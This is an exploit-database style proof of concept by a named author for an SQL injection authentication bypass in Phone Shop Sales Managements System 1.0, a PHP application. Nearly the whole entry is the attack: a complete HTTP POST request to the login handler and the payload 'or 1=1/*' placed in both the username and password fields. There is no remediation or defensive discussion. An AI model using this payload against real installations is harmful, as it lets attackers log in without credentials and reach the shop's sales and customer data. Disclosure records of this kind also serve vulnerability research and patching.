Phone Shop Sales Managements System 1.0 - SQL injection (Authentication Bypass) Vulnerability

# Exploit Title: Phone Shop Sales Managements System 1.0 - Authentication Bypass (SQLi)
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/10882/phone-shop-sales-managements-system.html
# Version: 1.0
# Tested on: Windows 10, XAMPP


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# PoC     #
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Request:
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POST /osms/Execute/ExLogin.php HTTP/1.1
Host: localhost
Content-Length: 43
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/osms/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Username=or+1%3D1%2F*&Password=or+1%3D1%2F*


Payload:
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Username=or 1=1/*
Password=or 1=1/*